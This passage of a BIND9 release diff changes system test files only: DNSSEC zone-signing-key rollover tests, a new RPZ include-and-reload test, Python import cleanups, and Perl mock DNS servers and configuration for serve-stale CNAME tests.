published. # That is the ZSK lifetime - prepublication time (minus time @@ -124,7 +116,7 @@ param("manual"), ], ) -def test_zsk_prepub_step2(tld, alg, size, ns3): +def test_zsk_prepub_step2(tld, ns3, default_algorithm): zone = f"step2.zsk-prepub.{tld}" policy = f"{POLICY}-{tld}" @@ -135,8 +127,8 @@ step = { "zone": zone, "keyprops": [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step2-p']}", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step2-p']}", ], "manual-mode": True, "nextev": None, @@ -162,9 +154,9 @@ # zsk2 dnskey: hidden -> rumoured "zone": zone, "keyprops": [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step2-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:rumoured zrrsig:hidden offset:{OFFSETS['step2-s']}", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step2-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured zrrsig:hidden offset:{OFFSETS['step2-s']}", ], "keyrelationships": [1, 2], # next key event is when the successor zsk becomes omnipresent. @@ -181,7 +173,7 @@ param("manual"), ], ) -def test_zsk_prepub_step3(tld, alg, size, ns3): +def test_zsk_prepub_step3(tld, ns3, default_algorithm): zone = f"step3.zsk-prepub.{tld}" policy = f"{POLICY}-{tld}" @@ -192,9 +184,9 @@ step = { "zone": zone, "keyprops": [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step3-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step3-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:hidden offset:{OFFSETS['step3-s']}", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step3-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step3-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:hidden offset:{OFFSETS['step3-s']}", ], "keyrelationships": [1, 2], "manual-mode": True, @@ -236,9 +228,9 @@ # zsk2 zrrsig: hidden -> rumoured "zone": zone, "keyprops": [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step3-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent zrrsig:unretentive offset:{OFFSETS['step3-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:rumoured offset:{OFFSETS['step3-s']}", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step3-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent zrrsig:unretentive offset:{OFFSETS['step3-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:rumoured offset:{OFFSETS['step3-s']}", ], "keyrelationships": [1, 2], # next key event is when all the rrsig records have been replaced @@ -268,7 +260,7 @@ param("manual"), ], ) -def test_zsk_prepub_step4(tld, alg, size, ns3): +def test_zsk_prepub_step4(tld, ns3, default_algorithm): zone = f"step4.zsk-prepub.{tld}" policy = f"{POLICY}-{tld}" @@ -279,9 +271,9 @@ step = { "zone": zone, "keyprops": [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step4-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent zrrsig:hidden offset:{OFFSETS['step4-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step4-s']}", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step4-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent zrrsig:hidden offset:{OFFSETS['step4-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step4-s']}", ], "keyrelationships": [1, 2], "manual-mode": True, @@ -310,9 +302,9 @@ # zsk2 zrrsig: rumoured -> omnipresent "zone": zone, "keyprops": [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step4-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:unretentive zrrsig:hidden offset:{OFFSETS['step4-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step4-s']}", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step4-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:unretentive zrrsig:hidden offset:{OFFSETS['step4-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step4-s']}", ], "keyrelationships": [1, 2], # next key event is when the dnskey enters the hidden state. @@ -329,7 +321,7 @@ param("manual"), ], ) -def test_zsk_prepub_step5(tld, alg, size, ns3): +def test_zsk_prepub_step5(tld, ns3, default_algorithm): zone = f"step5.zsk-prepub.{tld}" policy = f"{POLICY}-{tld}" @@ -342,9 +334,9 @@ # zsk1 dnskey: unretentive -> hidden "zone": zone, "keyprops": [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step5-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:hidden zrrsig:hidden offset:{OFFSETS['step5-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step5-s']}", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step5-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:hidden zrrsig:hidden offset:{OFFSETS['step5-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step5-s']}", ], "keyrelationships": [1, 2], # next key event is when the new successor needs to be published. @@ -362,7 +354,7 @@ param("manual"), ], ) -def test_zsk_prepub_step6(tld, alg, size, ns3): +def test_zsk_prepub_step6(tld, ns3, default_algorithm): zone = f"step6.zsk-prepub.{tld}" policy = f"{POLICY}-{tld}" @@ -374,8 +366,8 @@ # predecessor zsk is now purged. "zone": zone, "keyprops": [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step6-p']}", - f"zsk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step6-s']}", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{OFFSETS['step6-p']}", + f"zsk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{OFFSETS['step6-s']}", ], "nextev": None, } diff -Nru bind9-9.20.18/bin/tests/system/rpz/ns2/tld2.db bind9-9.20.21/bin/tests/system/rpz/ns2/tld2.db --- bind9-9.20.18/bin/tests/system/rpz/ns2/tld2.db 2026-01-09 13:39:28.170974526 +0000 +++ bind9-9.20.21/bin/tests/system/rpz/ns2/tld2.db 2026-03-13 22:01:10.713876963 +0000 @@ -123,3 +123,6 @@ a7-2 A 192.168.7.2 TXT "a7-2 tld2 text" + +a8-1 A 192.168.8.1 + TXT "a8-1 tld2 text" diff -Nru bind9-9.20.18/bin/tests/system/rpz/ns3/include-rpz.db.in bind9-9.20.21/bin/tests/system/rpz/ns3/include-rpz.db.in --- bind9-9.20.18/bin/tests/system/rpz/ns3/include-rpz.db.in 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/rpz/ns3/include-rpz.db.in 2026-03-13 22:01:10.714876931 +0000 @@ -0,0 +1,14 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 + +$INCLUDE include-rpz.inc diff -Nru bind9-9.20.18/bin/tests/system/rpz/ns3/include-rpz.inc-1.in bind9-9.20.21/bin/tests/system/rpz/ns3/include-rpz.inc-1.in --- bind9-9.20.18/bin/tests/system/rpz/ns3/include-rpz.inc-1.in 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/rpz/ns3/include-rpz.inc-1.in 2026-03-13 22:01:10.714876931 +0000 @@ -0,0 +1,14 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +@ SOA include-rpz. hostmaster.ns.include-rpz. ( 1 3600 1200 604800 60 ) + NS ns.tld3. diff -Nru bind9-9.20.18/bin/tests/system/rpz/ns3/include-rpz.inc-2.in bind9-9.20.21/bin/tests/system/rpz/ns3/include-rpz.inc-2.in --- bind9-9.20.18/bin/tests/system/rpz/ns3/include-rpz.inc-2.in 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/rpz/ns3/include-rpz.inc-2.in 2026-03-13 22:01:10.714876931 +0000 @@ -0,0 +1,16 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 300 +@ SOA include-rpz. hostmaster.ns.include-rpz. ( 2 3600 1200 604800 60 ) + NS ns.tld3. + +a8-1.tld2 CNAME . diff -Nru bind9-9.20.18/bin/tests/system/rpz/ns3/named.conf.j2 bind9-9.20.21/bin/tests/system/rpz/ns3/named.conf.j2 --- bind9-9.20.18/bin/tests/system/rpz/ns3/named.conf.j2 2026-01-09 13:39:28.171974553 +0000 +++ bind9-9.20.21/bin/tests/system/rpz/ns3/named.conf.j2 2026-03-13 22:01:10.714876931 +0000 @@ -53,6 +53,7 @@ zone "bl.tld2"; zone "manual-update-rpz" ede forged; zone "mixed-case-rpz"; + zone "include-rpz"; zone "evil-cname" policy cname a12.tld2. ede blocked; zone "wild-cname" ede blocked; zone "slow-rpz"; @@ -130,6 +131,12 @@ notify no; }; +zone "include-rpz." { + type primary; + file "include-rpz.db"; + notify no; +}; + zone "slow-rpz." { type primary; file "slow-rpz.db"; diff -Nru bind9-9.20.18/bin/tests/system/rpz/ns3/named1.conf.j2 bind9-9.20.21/bin/tests/system/rpz/ns3/named1.conf.j2 --- bind9-9.20.18/bin/tests/system/rpz/ns3/named1.conf.j2 2026-01-09 13:39:28.171974553 +0000 +++ bind9-9.20.21/bin/tests/system/rpz/ns3/named1.conf.j2 2026-03-13 22:01:10.714876931 +0000 @@ -53,6 +53,7 @@ zone "bl.tld2"; zone "manual-update-rpz" ede forged; zone "mixed-case-rpz"; + zone "include-rpz"; zone "evil-cname" policy cname a12.tld2. ede blocked; zone "wild-cname" ede blocked; zone "slow-rpz"; @@ -130,6 +131,12 @@ notify no; }; +zone "include-rpz." { + type primary; + file "include-rpz.db"; + notify no; +}; + zone "slow-rpz." { type primary; file "slow-rpz.db"; diff -Nru bind9-9.20.18/bin/tests/system/rpz/setup.sh bind9-9.20.21/bin/tests/system/rpz/setup.sh --- bind9-9.20.18/bin/tests/system/rpz/setup.sh 2026-01-09 13:39:28.173974605 +0000 +++ bind9-9.20.21/bin/tests/system/rpz/setup.sh 2026-03-13 22:01:10.717876835 +0000 @@ -43,6 +43,9 @@ cp ns3/mixed-case-rpz-1.db.in ns3/mixed-case-rpz.db +cp ns3/include-rpz.db.in ns3/include-rpz.db +cp ns3/include-rpz.inc-1.in ns3/include-rpz.inc + # a "big" zone (tested with '-T rpzslow' enabled to slow down loading) cp ns3/slow-rpz.db.in ns3/slow-rpz.db diff -Nru bind9-9.20.18/bin/tests/system/rpz/tests.sh bind9-9.20.21/bin/tests/system/rpz/tests.sh --- bind9-9.20.18/bin/tests/system/rpz/tests.sh 2026-01-09 13:39:28.175974658 +0000 +++ bind9-9.20.21/bin/tests/system/rpz/tests.sh 2026-03-13 22:01:10.719876772 +0000 @@ -796,6 +796,16 @@ grep "walled\.tld2\..*IN.*A.*10\.0\.0\.1" dig.out.$t.after >/dev/null || setret "failed" t=$((t + 1)) + echo_i "checking rpz with included rules can reload (${t})" + $DIG -p ${PORT} @$ns3 a8-1.tld2 >dig.out.$t.before || setret "failed" + grep "status: NOERROR" dig.out.$t.before >/dev/null || setret "failed" + cp ns3/include-rpz.inc-2.in ns3/include-rpz.inc + rndc_reload ns3 $ns3 include-rpz + sleep 1 + $DIG -p ${PORT} @$ns3 a8-1.tld2 >dig.out.$t.after || setret "failed" + grep "status: NXDOMAIN" dig.out.$t.after >/dev/null || setret "failed" + + t=$((t + 1)) echo_i "checking the default (unset) extended DNS error code (EDE) (${t})" $DIG -p ${PORT} @$ns3 a6-2.tld2. A >dig.out.$t || setret "failed" grep -F "EDE: " dig.out.$t >/dev/null && setret "failed" diff -Nru bind9-9.20.18/bin/tests/system/rpz/tests_sh_rpz.py bind9-9.20.21/bin/tests/system/rpz/tests_sh_rpz.py --- bind9-9.20.18/bin/tests/system/rpz/tests_sh_rpz.py 2026-01-09 13:39:28.175974658 +0000 +++ bind9-9.20.21/bin/tests/system/rpz/tests_sh_rpz.py 2026-03-13 22:01:10.719876772 +0000 @@ -39,6 +39,8 @@ "ns3/bl.tld2.db", "ns3/evil-cname.db", "ns3/fast-expire.db", + "ns3/include-rpz.db", + "ns3/include-rpz.inc", "ns3/manual-update-rpz.db", "ns3/mixed-case-rpz.db", "ns3/named.conf.tmp", diff -Nru bind9-9.20.18/bin/tests/system/rpz/tests_sh_rpz_dnsrps.py bind9-9.20.21/bin/tests/system/rpz/tests_sh_rpz_dnsrps.py --- bind9-9.20.18/bin/tests/system/rpz/tests_sh_rpz_dnsrps.py 2026-01-09 13:39:28.175974658 +0000 +++ bind9-9.20.21/bin/tests/system/rpz/tests_sh_rpz_dnsrps.py 2026-03-13 22:01:10.719876772 +0000 @@ -43,6 +43,8 @@ "ns3/bl.tld2.db", "ns3/evil-cname.db", "ns3/fast-expire.db", + "ns3/include-rpz.db", + "ns3/include-rpz.inc", "ns3/manual-update-rpz.db", "ns3/mixed-case-rpz.db", "ns3/named.conf.tmp", diff -Nru bind9-9.20.18/bin/tests/system/rpzextra/tests_rpzextra.py bind9-9.20.21/bin/tests/system/rpzextra/tests_rpzextra.py --- bind9-9.20.18/bin/tests/system/rpzextra/tests_rpzextra.py 2026-01-09 13:39:28.176974684 +0000 +++ bind9-9.20.21/bin/tests/system/rpzextra/tests_rpzextra.py 2026-03-13 22:01:10.720876740 +0000 @@ -13,15 +13,11 @@ import os -import pytest - -pytest.importorskip("dns", minversion="2.0.0") import dns.rcode import dns.rrset +import pytest import isctest -from isctest.compat import dns_rcode - pytestmark = pytest.mark.extra_artifacts( [ @@ -78,13 +74,13 @@ msg, ip="10.53.0.3", source="10.53.0.2", - expected_rcode=dns_rcode.NOERROR, + expected_rcode=dns.rcode.NOERROR, ) isctest.query.tcp( msg, ip="10.53.0.3", source="10.53.0.5", - expected_rcode=dns_rcode.NOERROR, + expected_rcode=dns.rcode.NOERROR, ) msg = isctest.query.create(qname, "A") diff -Nru bind9-9.20.18/bin/tests/system/rpzrecurse/ans5/ans.py bind9-9.20.21/bin/tests/system/rpzrecurse/ans5/ans.py --- bind9-9.20.18/bin/tests/system/rpzrecurse/ans5/ans.py 2026-01-09 13:39:28.176974684 +0000 +++ bind9-9.20.21/bin/tests/system/rpzrecurse/ans5/ans.py 2026-03-13 22:01:10.720876740 +0000 @@ -11,7 +11,7 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.rcode import dns.rdatatype @@ -52,7 +52,7 @@ def main() -> None: server = AsyncDnsServer(default_aa=True, default_rcode=dns.rcode.NOERROR) - server.install_response_handlers([ReplyA(), IgnoreNs()]) + server.install_response_handlers(ReplyA(), IgnoreNs()) server.run() diff -Nru bind9-9.20.18/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py bind9-9.20.21/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py --- bind9-9.20.18/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py 2026-01-09 13:39:28.180974789 +0000 +++ bind9-9.20.21/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py 2026-03-13 22:01:10.724876612 +0000 @@ -11,9 +11,6 @@ import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - pytestmark = pytest.mark.extra_artifacts( [ "dig.out.*", diff -Nru bind9-9.20.18/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse_dnsrps.py bind9-9.20.21/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse_dnsrps.py --- bind9-9.20.18/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse_dnsrps.py 2026-01-09 13:39:28.180974789 +0000 +++ bind9-9.20.21/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse_dnsrps.py 2026-03-13 22:01:10.724876612 +0000 @@ -11,9 +11,6 @@ import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - import isctest.mark pytestmark = [ diff -Nru bind9-9.20.18/bin/tests/system/selftest/tests_zone_analyzer.py bind9-9.20.21/bin/tests/system/selftest/tests_zone_analyzer.py --- bind9-9.20.18/bin/tests/system/selftest/tests_zone_analyzer.py 2026-01-09 13:39:28.187974972 +0000 +++ bind9-9.20.21/bin/tests/system/selftest/tests_zone_analyzer.py 2026-03-13 22:01:10.731876388 +0000 @@ -14,20 +14,18 @@ Generate insane test zone and check expected output of ZoneAnalyzer utility class """ +from pathlib import Path import collections import itertools -from pathlib import Path -import dns.name from dns.name import Name + +import dns.name import pytest -import isctest import isctest.name -pytest.importorskip("dns", minversion="2.3.0") - # set of properies present in the tested zone - read by tests_zone_analyzer.py CATEGORIES = frozenset( [ diff -Nru bind9-9.20.18/bin/tests/system/serve-stale/ans2/ans.pl bind9-9.20.21/bin/tests/system/serve-stale/ans2/ans.pl --- bind9-9.20.18/bin/tests/system/serve-stale/ans2/ans.pl 2026-01-09 13:39:28.187974972 +0000 +++ bind9-9.20.21/bin/tests/system/serve-stale/ans2/ans.pl 2026-03-13 22:01:10.731876388 +0000 @@ -75,6 +75,15 @@ my $SHORTCNAME = "shortttl.cname.example 1 IN CNAME longttl.target.example"; my $LONGTARGET = "longttl.target.example 600 IN A $localaddr"; +# +# YWH records +# +my $ywhSOA = "source.stale 300 IN SOA . . 0 0 0 0 300"; +my $ywhNS = "source.stale 300 IN NS ns.source.stale"; +my $ywhA = "ns.source.stale 300 IN A $localaddr"; +my $ywhCNAME = "alias.source.stale 2 IN CNAME www.target.stale"; +my $ywhCNAMENX = "aliasnx.source.stale 2 IN CNAME nonexist.target.stale"; + sub reply_handler { my ($qname, $qclass, $qtype) = @_; my ($rcode, @ans, @auth, @add); @@ -306,6 +315,34 @@ push @auth, $rr; } $rcode = "NOERROR"; + } elsif ($qname eq "source.stale") { + if ($qtype eq "SOA") { + my $rr = new Net::DNS::RR($ywhSOA); + push @ans, $rr; + } elsif ($qtype eq "NS") { + my $rr = new Net::DNS::RR($ywhNS); + push @ans, $rr; + $rr = new Net::DNS::RR($ywhA); + push @add, $rr; + } + $rcode = "NOERROR"; + } elsif ($qname eq "ns.source.stale") { + if ($qtype eq "A") { + my $rr = new Net::DNS::RR($ywhA); + push @ans, $rr; + } else { + my $rr = new Net::DNS::RR($ywhSOA); + push @auth, $rr; + } + $rcode = "NOERROR"; + } elsif ($qname eq "alias.source.stale") { + my $rr = new Net::DNS::RR($ywhCNAME); + push @ans, $rr; + $rcode = "NOERROR"; + } elsif ($qname eq "aliasnx.source.stale") { + my $rr = new Net::DNS::RR($ywhCNAMENX); + push @ans, $rr; + $rcode = "NOERROR"; } else { my $rr = new Net::DNS::RR($SOA); push @auth, $rr; diff -Nru bind9-9.20.18/bin/tests/system/serve-stale/ans8/ans.pl bind9-9.20.21/bin/tests/system/serve-stale/ans8/ans.pl --- bind9-9.20.18/bin/tests/system/serve-stale/ans8/ans.pl 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/serve-stale/ans8/ans.pl 2026-03-13 22:01:10.731876388 +0000 @@ -0,0 +1,164 @@ +#!/usr/bin/env perl + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +use strict; +use warnings; + +use IO::File; +use IO::Socket; +use Getopt::Long; +use Net::DNS; +use Time::HiRes qw(usleep nanosleep); + +my $pidf = new IO::File "ans.pid", "w" or die "cannot open pid file: $!"; +print $pidf "$$\n" or die "cannot write pid file: $!"; +$pidf->close or die "cannot close pid file: $!"; +sub rmpid { unlink "ans.pid"; exit 1; }; + +$SIG{INT} = \&rmpid; +$SIG{TERM} = \&rmpid; + +my $localaddr = "10.53.0.8"; + +my $localport = int($ENV{'PORT'}); +if (!$localport) { $localport = 5300; } + +my $udpsock = IO::Socket::INET->new(LocalAddr => "$localaddr", + LocalPort => $localport, Proto => "udp", Reuse => 1) or die "$!"; + +# +# YWH records +# +my $ywhSOA = "target.stale 300 IN SOA . . 0 0 0 0 300"; +my $ywhNS = "target.stale 300 IN NS ns.target.stale"; +my $ywhA = "ns.target.stale 300 IN A $localaddr"; +my $ywhWWW = "www.target.stale 2 IN A 10.0.0.1"; + +sub reply_handler { + my ($qname, $qclass, $qtype) = @_; + my ($rcode, @ans, @auth, @add); + + print ("request: $qname/$qtype\n"); + STDOUT->flush(); + + # Control what response we send. + if ($qname eq "update" ) { + if ($qtype eq "TXT") { + $ywhWWW = "www.target.stale 2 IN A 10.0.0.2"; + my $rr = new Net::DNS::RR("$qname 0 $qclass TXT \"update\""); + push @ans, $rr; + } + $rcode = "NOERROR"; + return ($rcode, \@ans, \@auth, \@add, { aa => 1 }); + } elsif ($qname eq "restore" ) { + if ($qtype eq "TXT") { + $ywhWWW = "www.target.stale 2 IN A 10.0.0.1"; + my $rr = new Net::DNS::RR("$qname 0 $qclass TXT \"restore\""); + push @ans, $rr; + } + $rcode = "NOERROR"; + return ($rcode, \@ans, \@auth, \@add, { aa => 1 }); + } + + if ($qname eq "target.stale") { + if ($qtype eq "SOA") { + my $rr = new Net::DNS::RR($ywhSOA); + push @ans, $rr; + } elsif ($qtype eq "NS") { + my $rr = new Net::DNS::RR($ywhNS); + push @ans, $rr; + $rr = new Net::DNS::RR($ywhA); + push @add, $rr; + } + $rcode = "NOERROR"; + } elsif ($qname eq "ns.target.stale") { + if ($qtype eq "A") { + my $rr = new Net::DNS::RR($ywhA); + push @ans, $rr; + } else { + my $rr = new Net::DNS::RR($ywhSOA); + push @auth, $rr; + } + $rcode = "NOERROR"; + } elsif ($qname eq "www.target.stale") { + if ($qtype eq "A") { + my $rr = new Net::DNS::RR($ywhWWW); + push @ans, $rr; + } else { + my $rr = new Net::DNS::RR($ywhSOA); + push @auth, $rr; + } + $rcode = "NOERROR"; + } else { + my $rr = new Net::DNS::RR($ywhSOA); + push @auth, $rr; + $rcode = "NXDOMAIN"; + } + + # mark the answer as authoritative (by setting the 'aa' flag) + return ($rcode, \@ans, \@auth, \@add, { aa => 1 }); +} + +GetOptions( + 'port=i' => \$localport, +); + +my $rin; +my $rout; + +for (;;) { + $rin = ''; + vec($rin, fileno($udpsock), 1) = 1; + + select($rout = $rin, undef, undef, undef); + + if (vec($rout, fileno($udpsock), 1)) { + my ($buf, $request, $err); + $udpsock->recv($buf, 512); + + if ($Net::DNS::VERSION > 0.68) { + $request = new Net::DNS::Packet(\$buf, 0); + $@ and die $@; + } else { + my $err; + ($request, $err) = new Net::DNS::Packet(\$buf, 0); + $err and die $err; + } + + my @questions = $request->question; + my $qname = $questions[0]->qname; + my $qclass = $questions[0]->qclass; + my $qtype = $questions[0]->qtype; + my $id = $request->header->id; + + my ($rcode, $ans, $auth, $add, $headermask) = reply_handler($qname, $qclass, $qtype); + + if (!defined($rcode)) { + print " Silently ignoring query\n"; + next; + } + + my $reply = Net::DNS::Packet->new(); + $reply->header->qr(1); + $reply->header->aa(1) if $headermask->{'aa'}; + $reply->header->id($id); + $reply->header->rcode($rcode); + $reply->push("question", @questions); + $reply->push("answer", @$ans) if $ans; + $reply->push("authority", @$auth) if $auth; + $reply->push("additional", @$add) if $add; + + my $num_chars = $udpsock->send($reply->data); + print " Sent $num_chars bytes via UDP\n"; + } +} diff -Nru bind9-9.20.18/bin/tests/system/serve-stale/ns6/stale.db bind9-9.20.21/bin/tests/system/serve-stale/ns6/stale.db --- bind9-9.20.18/bin/tests/system/serve-stale/ns6/stale.db 2026-01-09 13:39:28.189975025 +0000 +++ bind9-9.20.21/bin/tests/system/serve-stale/ns6/stale.db 2026-03-13 22:01:10.734876292 +0000 @@ -9,9 +9,12 @@ ; See the COPYRIGHT file distributed with this work for additional ; information regarding copyright ownership. -stale. IN SOA ns.stale. matthijs.isc.org. 1 0 0 0 0 -stale. IN NS ns.stale. -ns.stale. IN A 10.53.0.6 +stale. IN SOA ns.stale. matthijs.isc.org. 1 0 0 0 0 +stale. IN NS ns.stale. +ns.stale. IN A 10.53.0.6 -serve.stale. IN NS ns.serve.stale. -ns.serve.stale. IN A 10.53.0.6 +serve.stale. IN NS ns.serve.stale. +ns.serve.stale. IN A 10.53.0.6 + +target.stale. IN NS ns.target.stale. +ns.target.stale. IN A 10.53.0.7 diff -Nru bind9-9.20.18/bin/tests/system/serve-stale/ns7/named.conf.j2 bind9-9.20.21/bin/tests/system/serve-stale/ns7/named.conf.j2 --- bind9-9.20.18/bin/tests/system/serve-stale/ns7/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/serve-stale/ns7/named.conf.j2 2026-03-13 22:01:10.734876292 +0000 @@ -0,0 +1,62 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.7 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +options { + query-source address 10.53.0.7; + notify-source 10.53.0.7; + transfer-source 10.53.0.7; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.7; }; + listen-on-v6 { none; }; + recursion yes; + 